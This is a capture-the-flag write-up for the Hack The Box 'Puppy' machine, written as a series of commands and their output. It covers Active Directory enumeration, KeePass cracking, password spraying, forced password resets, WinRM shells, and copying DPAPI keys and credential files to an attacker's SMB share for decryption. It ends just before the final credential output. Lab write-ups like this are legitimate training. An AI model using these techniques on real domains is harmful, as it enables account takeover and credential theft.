Puppy [Medium]
Puppy HTB Season 8
Machine information
As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james
/ KingofAkron2025!
.
Author: tr3nb0lone
Enumeration
Nmap
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└─$ sudo nmap -Pn -sC -sV 10.10.11.70
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-18 10:31 EDT
Nmap scan report for 10.10.11.70
Host is up (0.19s latency).
Not shown: 985 filtered tcp ports (no-response)
Bug in iscsi-info: no string output.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-18 21:11:31Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2049/tcp open nlockmgr 1-4 (RPC #100021)
3260/tcp open iscsi?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-05-18T21:13:26
|_ start_date: N/A
|_clock-skew: 6h39m13s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 234.96 seconds
Now let’s use crackmapexec
to enumerate all the users in this domain.
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└─$ sudo crackmapexec smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --users
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.10.11.70 445 DC [+] Enumerated domain user(s)
SMB 10.10.11.70 445 DC PUPPY.HTB\steph.cooper_adm badpwdcount: 4 desc:
SMB 10.10.11.70 445 DC PUPPY.HTB\steph.cooper badpwdcount: 0 desc:
SMB 10.10.11.70 445 DC PUPPY.HTB\jamie.williams badpwdcount: 4 desc:
SMB 10.10.11.70 445 DC PUPPY.HTB\adam.silver badpwdcount: 4 desc:
SMB 10.10.11.70 445 DC PUPPY.HTB\ant.edwards badpwdcount: 4 desc:
SMB 10.10.11.70 445 DC PUPPY.HTB\levi.james badpwdcount: 0 desc:
SMB 10.10.11.70 445 DC PUPPY.HTB\krbtgt badpwdcount: 24 desc: Key Distribution Center Service Account
SMB 10.10.11.70 445 DC PUPPY.HTB\Guest badpwdcount: 24 desc: Built-in account for guest access to the computer/domain
SMB 10.10.11.70 445 DC PUPPY.HTB\Administrator badpwdcount: 24 desc: Built-in account for administering the computer/domain
We have some users, let’s add them to the users.txt
file and also add the domain to the /etc/hosts
file.
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└─$ cat /etc/hosts
<SNIP>
# HTB Labs
## DEPTHS Season 8
10.10.11.70 PUPPY.HTB DC.PUPPY.HTB
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└─$ cat users.txt
Administrator
Guest
krbtgt
DC$
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm
Now we use smbmap
to enumerate the shares.
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└─$ smbmap -H 10.10.11.70 -u 'levi.james' -p 'KingofAkron2025!'
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 10.10.11.70:445 Name: PUPPY.HTB Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
DEV NO ACCESS DEV-SHARE for PUPPY-DEVS
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
[*] Closed 1 connections
Look closure, we have a DEV
share but our user does not have the access rights to it.
→ we need to enumerate the AD to get further information about the users and the groups.
Bloodhound
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└─$ bloodhound-python -dc DC.PUPPY.HTB -u 'levi.james' -p 'KingofAkron2025!' -d PUPPY.HTB -c All -o bloodhound_results.json -ns 10.10.11.70
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (DC.PUPPY.HTB:88)] [Errno 111] Connection refused
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 33S
Now we can import the bloodhound_results*.json
file into BloodHound
and start investigating the graph.
So our account levi.james
is a member of HR@PUPPY.HTB
group and has GenericWrite permissions on the DEVLOPERS@PUPPY.HTB
group.
→ We can add levi.james
to the DEVLOPERS@PUPPY.HTB
group and use it to access the DEV
share.
There are two ways to do this:
- Use ldap-addusers-group which need to have
modify.ldif
file and then useldapmodify
to configure the changes.
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└─$ cat modify.ldif
dn: CN=DEVELOPERS,DC=PUPPY,DC=HTB
changetype: modify
add: member
member: CN=Levi B. James,OU=MANPOWER,DC=PUPPY,DC=HTB
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└─$ ldapmodify -x -H ldap://10.10.11.70 -D "levi.james@puppy.htb" -w 'KingofAkron2025!' -f modify.ldif
modifying entry "CN=DEVELOPERS,DC=PUPPY,DC=HTB"
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└─$ smbclient -U 'puppy.htb/levi.james%KingofAkron2025!' //10.10.11.70/DEV
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Sun May 18 12:46:39 2025
.. D 0 Sat Mar 8 11:52:57 2025
KeePassXC-2.7.9-Win64.msi A 34394112 Sun Mar 23 03:09:12 2025
Projects D 0 Sat Mar 8 11:53:36 2025
recovery.kdbx A 2677 Tue Mar 11 22:25:46 2025
5080575 blocks of size 4096. 1522760 blocks available
smb: \>
→ We can access the DEV
share and read stuffs inside.
- Use bloodyAD to add the user to the group.
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└─$ bloodyAD --host 10.10.11.70 -d PUPPY.HTB -u 'levi.james' -p 'KingofAkron2025!' add groupMember DEVELOPERS levi.james
[+] levi.james added to DEVELOPERS
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└─$ smbmap -H 10.10.11.70 -u 'levi.james' -p 'KingofAkron2025!'
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 10.10.11.70:445 Name: PUPPY.HTB Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
DEV READ ONLY DEV-SHARE for PUPPY-DEVS
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
[*] Closed 1 connections
→ Can access the DEV
share and read it.
Initial Access
Discovery and Cracking
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smb: \> get recovery.kdbx
getting file \recovery.kdbx of size 2677 as recovery.kdbx (3.8 KiloBytes/sec) (average 3.8 KiloBytes/sec)
→ We can download the recovery.kdbx
file and try to crack it.
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└─$ keepass2john recovery.kdbx > recovery.hash
! recovery.kdbx : File version '40000' is currently not supported!
So I search google for kdbx crack and found this keepass4brute tool.
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└─$ wget https://github.com/r3nt0n/keepass4brute/raw/refs/heads/master/keepass4brute.sh
And crack with rockyou.txt
wordlist.
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└─$ ./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
[+] Words tested: 36/14344392 - Attempts per minute: 27 - Estimated time remaining: 52 weeks, 4 days
[+] Current attempt: liverpool
[*] Password found: liverpool
Got the password liverpool
, now use keepassxc
to export file to xml
format.
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└─$ keepassxc-cli export --format=xml recovery.kdbx > keepass_dump.xml
Enter password to unlock recovery.kdbx:
When cat
out the keepass_dump.xml
file, we gather some credentials.
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└─$ cat passwords_recovery.txt
JamieLove2025!
HJKL2025!
Antman2025!
Steve2025!
ILY2025!
Let’s use crackmapexec
to password spray the users.
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└─$ sudo crackmapexec smb 10.10.11.70 -u users.txt -p passwords_recovery.txt --continue-on-success
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\Administrator:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\Administrator:HJKL2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\Administrator:Antman2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\Administrator:Steve2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\Administrator:ILY2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\Guest:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\Guest:HJKL2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\Guest:Antman2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\Guest:Steve2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\Guest:ILY2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\krbtgt:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\krbtgt:HJKL2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\krbtgt:Antman2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\krbtgt:Steve2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\krbtgt:ILY2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\DC$:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\DC$:HJKL2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\DC$:Antman2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\DC$:Steve2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\DC$:ILY2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\levi.james:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\levi.james:HJKL2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\levi.james:Antman2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\levi.james:Steve2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\levi.james:ILY2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\ant.edwards:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\ant.edwards:HJKL2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\ant.edwards:Steve2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\ant.edwards:ILY2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\adam.silver:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\adam.silver:HJKL2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\adam.silver:Antman2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\adam.silver:Steve2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\adam.silver:ILY2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\jamie.williams:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\jamie.williams:HJKL2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\jamie.williams:Antman2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\jamie.williams:Steve2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\jamie.williams:ILY2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\steph.cooper:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\steph.cooper:HJKL2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\steph.cooper:Antman2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\steph.cooper:Steve2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\steph.cooper:ILY2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\steph.cooper_adm:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\steph.cooper_adm:HJKL2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\steph.cooper_adm:Antman2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\steph.cooper_adm:Steve2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\steph.cooper_adm:ILY2025! STATUS_LOGON_FAILURE
→ After spraying, there is only one valid credential ant.edwards:Antman2025!
.
Let’s continue enumerate ant.edwards
machine with further information through bloodhound
.
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└─$ bloodhound-python -dc DC.PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' -d PUPPY.HTB -c All -o bloodhound_results.json -ns 10.10.11.70
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 39S
Import to BloodHound
and start investigating the graph.
Found out that ant.edwards
is a member of SENIOR DEVS@PUPPY.HTB
group and has GenericAll
to user ADAM.SILVER@PUPPY.HTB
.
→ We can use ant.edwards
to change the password of ADAM.SILVER@PUPPY.HTB
and gain access to the machine.
There are some ways to do this:
- We can use
bloodyAD
to change the password ofADAM.SILVER@PUPPY.HTB
.
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└─$ bloodyAD -u ant.edwards -p 'Antman2025!' -d puppy.htb --dc-ip 10.10.11.70 set password adam.silver 'P@ssw4rd123'
[+] Password changed successfully!
Check again with crackmapexec
to see if we can access the machine.
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└─$ sudo crackmapexec smb PUPPY.HTB -u 'ADAM.SILVER' -p 'P@ssw4rd123'
SMB PUPPY.HTB 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB PUPPY.HTB 445 DC [-] PUPPY.HTB\ADAM.SILVER:P@ssw4rd123 STATUS_ACCOUNT_DISABLED
We got STATUS_ACCOUNT_DISABLED
error, we need to activate it again.
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└─$ bloodyAD --host DC.PUPPY.HTB -d PUPPY.HTB -u ant.edwards -p 'Antman2025!' remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl
And also need to modified modify.ldif
again and use ldapmodify
to mofidy the entry.
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└─$ cat modify.ldif
dn: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
changetype: modify
replace: userAccountControl
userAccountControl: 512
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└─$ ldapmodify -x -H ldap://10.10.11.70 -D "ant.edwards@puppy.htb" -w 'Antman2025!' -f modify.ldif
modifying entry "CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB"
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└─$ sudo crackmapexec smb PUPPY.HTB -u 'ADAM.SILVER' -p 'P@ssw4rd123'
SMB PUPPY.HTB 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB PUPPY.HTB 445 DC [+] PUPPY.HTB\ADAM.SILVER:P@ssw4rd123
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└─$ sudo crackmapexec winrm 10.10.11.70 -u 'ADAM.SILVER' -p 'P@ssw4rd123' -d PUPPY.HTB
HTTP 10.10.11.70 5985 10.10.11.70 [*] http://10.10.11.70:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.70 5985 10.10.11.70 [+] PUPPY.HTB\ADAM.SILVER:P@ssw4rd123 (Pwn3d!)
→ Confirm that we can change the password of ADAM.SILVER
user and success Pwn3d!
.
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└─$ evil-winrm -i 10.10.11.70 -u 'ADAM.SILVER' -p 'P@ssw4rd123'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>
- Another approach can use ForceChangePassword through
rpc
.
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└─$ net rpc password 'adam.silver' 'P@ssw4rd123' -U 'PUPPY.HTB'/'ant.edwards'%'Antman2025!' -S '10.10.11.70'
or we can use rpcclient
.
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└─$ rpcclient -U 'puppy.htb\Ant.Edwards%Antman2025!' 10.10.11.70
rpcclient $> setuserinfo adam.silver 23 P@ssw4rd123
rpcclient $>
After evil-winrm
login, we can found the user.txt
flag.
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*Evil-WinRM* PS C:\Users\adam.silver\Desktop> dir
Directory: C:\Users\adam.silver\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/28/2025 12:31 PM 2312 Microsoft Edge.lnk
-ar--- 5/19/2025 6:52 PM 34 user.txt
*Evil-WinRM* PS C:\Users\adam.silver\Desktop> type user.txt
79afddddb29edcf847aa40e5edfd7e0c
Let’s continue discover to find the root.txt
flag.
Privilege Escalation
So let’s do the BloodHound
again on adam.silver
account.
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└─$ bloodhound-python -dc DC.PUPPY.HTB -u 'adam.silver' -p 'P@ssw4rd123' -d PUPPY.HTB -c All -o bloodhound_results.json -ns 10.10.11.70
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 38S
Import to BloodHound
again and start investigating the graph again.
Hmm, Kinda stuck here. Okay let’s go through adam.silver
machine to look for some interesting stuffs.
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*Evil-WinRM* PS C:\Backups> dir
Directory: C:\Backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/8/2025 8:22 AM 4639546 site-backup-2024-12-30.zip
*Evil-WinRM* PS C:\Backups> download site-backup-2024-12-30.zip
Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip
Info: Download successful!
We found a site-backup-2024-12-30.zip
file, download and check inside.
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└─$ tree .
.
├── assets
│ ├── css
│ │ ├── fontawesome-all.min.css
│ │ ├── images
│ │ │ ├── highlight.png
│ │ │ └── overlay.png
│ │ └── main.css
│ ├── js
│ │ ├── breakpoints.min.js
│ │ ├── browser.min.js
│ │ ├── jquery.dropotron.min.js
│ │ ├── jquery.min.js
│ │ ├── jquery.scrolly.min.js
│ │ ├── main.js
│ │ └── util.js
│ ├── sass
│ │ ├── libs
│ │ │ ├── _breakpoints.scss
│ │ │ ├── _functions.scss
│ │ │ ├── _html-grid.scss
│ │ │ ├── _mixins.scss
│ │ │ ├── _vars.scss
│ │ │ └── _vendor.scss
│ │ └── main.scss
│ └── webfonts
│ ├── fa-brands-400.eot
│ ├── fa-brands-400.svg
│ ├── fa-brands-400.ttf
│ ├── fa-brands-400.woff
│ ├── fa-brands-400.woff2
│ ├── fa-regular-400.eot
│ ├── fa-regular-400.svg
│ ├── fa-regular-400.ttf
│ ├── fa-regular-400.woff
│ ├── fa-regular-400.woff2
│ ├── fa-solid-900.eot
│ ├── fa-solid-900.svg
│ ├── fa-solid-900.ttf
│ ├── fa-solid-900.woff
│ └── fa-solid-900.woff2
├── images
│ ├── adam.jpg
│ ├── antony.jpg
│ ├── banner.jpg
│ ├── jamie.jpg
│ └── Levi.jpg
├── index.html
└── nms-auth-config.xml.bak
9 directories, 40 files
Hmm, nms-auth-config.xml.bak
file looks interesting, let’s cat
it out.
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└─$ cat nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
Okay, found another credential ChefSteph2025!
and we can use it to login to steph.cooper
account.
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└─$ evil-winrm -i 10.10.11.70 -u steph.cooper -p 'ChefSteph2025!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper\Documents>
→ Success login :D.
So we are inside DC.PUPPY.HTB
machine, let’s look for dpapi-protected-secrets and then use dpapi.py to extract the credentials.
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*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect> dir
Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 2/23/2025 2:36 PM S-1-5-21-1487982659-1829050783-2281216199-1107
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> cmd /c dir /a
Volume in drive C has no label.
Volume Serial Number is 311D-593C
Directory of C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
02/23/2025 03:36 PM <DIR> .
03/08/2025 08:40 AM <DIR> ..
03/08/2025 08:40 AM 740 556a2412-1275-4ccf-b721-e6a0b4f90407
02/23/2025 03:36 PM 24 Preferred
2 File(s) 764 bytes
2 Dir(s) 6,164,828,160 bytes free
Got the master key 556a2412-1275-4ccf-b721-e6a0b4f90407
, put that aside and DPAPI-protected data.
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*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> cmd /c dir /a
Volume in drive C has no label.
Volume Serial Number is 311D-593C
Directory of C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials
03/08/2025 08:53 AM <DIR> .
03/08/2025 08:40 AM <DIR> ..
03/08/2025 08:54 AM 414 C8D69EBE9A43E9DEBF6B5FBD48B521B9
1 File(s) 414 bytes
2 Dir(s) 6,166,650,880 bytes free
Found a C8D69EBE9A43E9DEBF6B5FBD48B521B9
file.
In order to transfer the master key and DPAPI-protected data to our attacking machine, we use impacket-smbserver
to transfer the files.
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└─$ sudo impacket-smbserver share ./ -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.70,53298)
[*] AUTHENTICATE_MESSAGE (\,DC)
[*] User DC\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:share)
[*] Disconnecting Share(1:share)
[*] Closing down connection (10.10.11.70,53298)
[*] Remaining connections []
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*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> copy C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 \\10.10.14.38\share
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> copy C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 \\10.10.14.38\share
Now we have all the files we need, let’s extract the credentials.
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└─$ python3 /usr/share/doc/python3-impacket/examples/dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -password 'ChefSteph2025!' -sid S-1-5-21-1487982659-1829050783-2281216199-1107
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
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└─$ python3 /usr/share/doc/python3-impacket/examples/dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
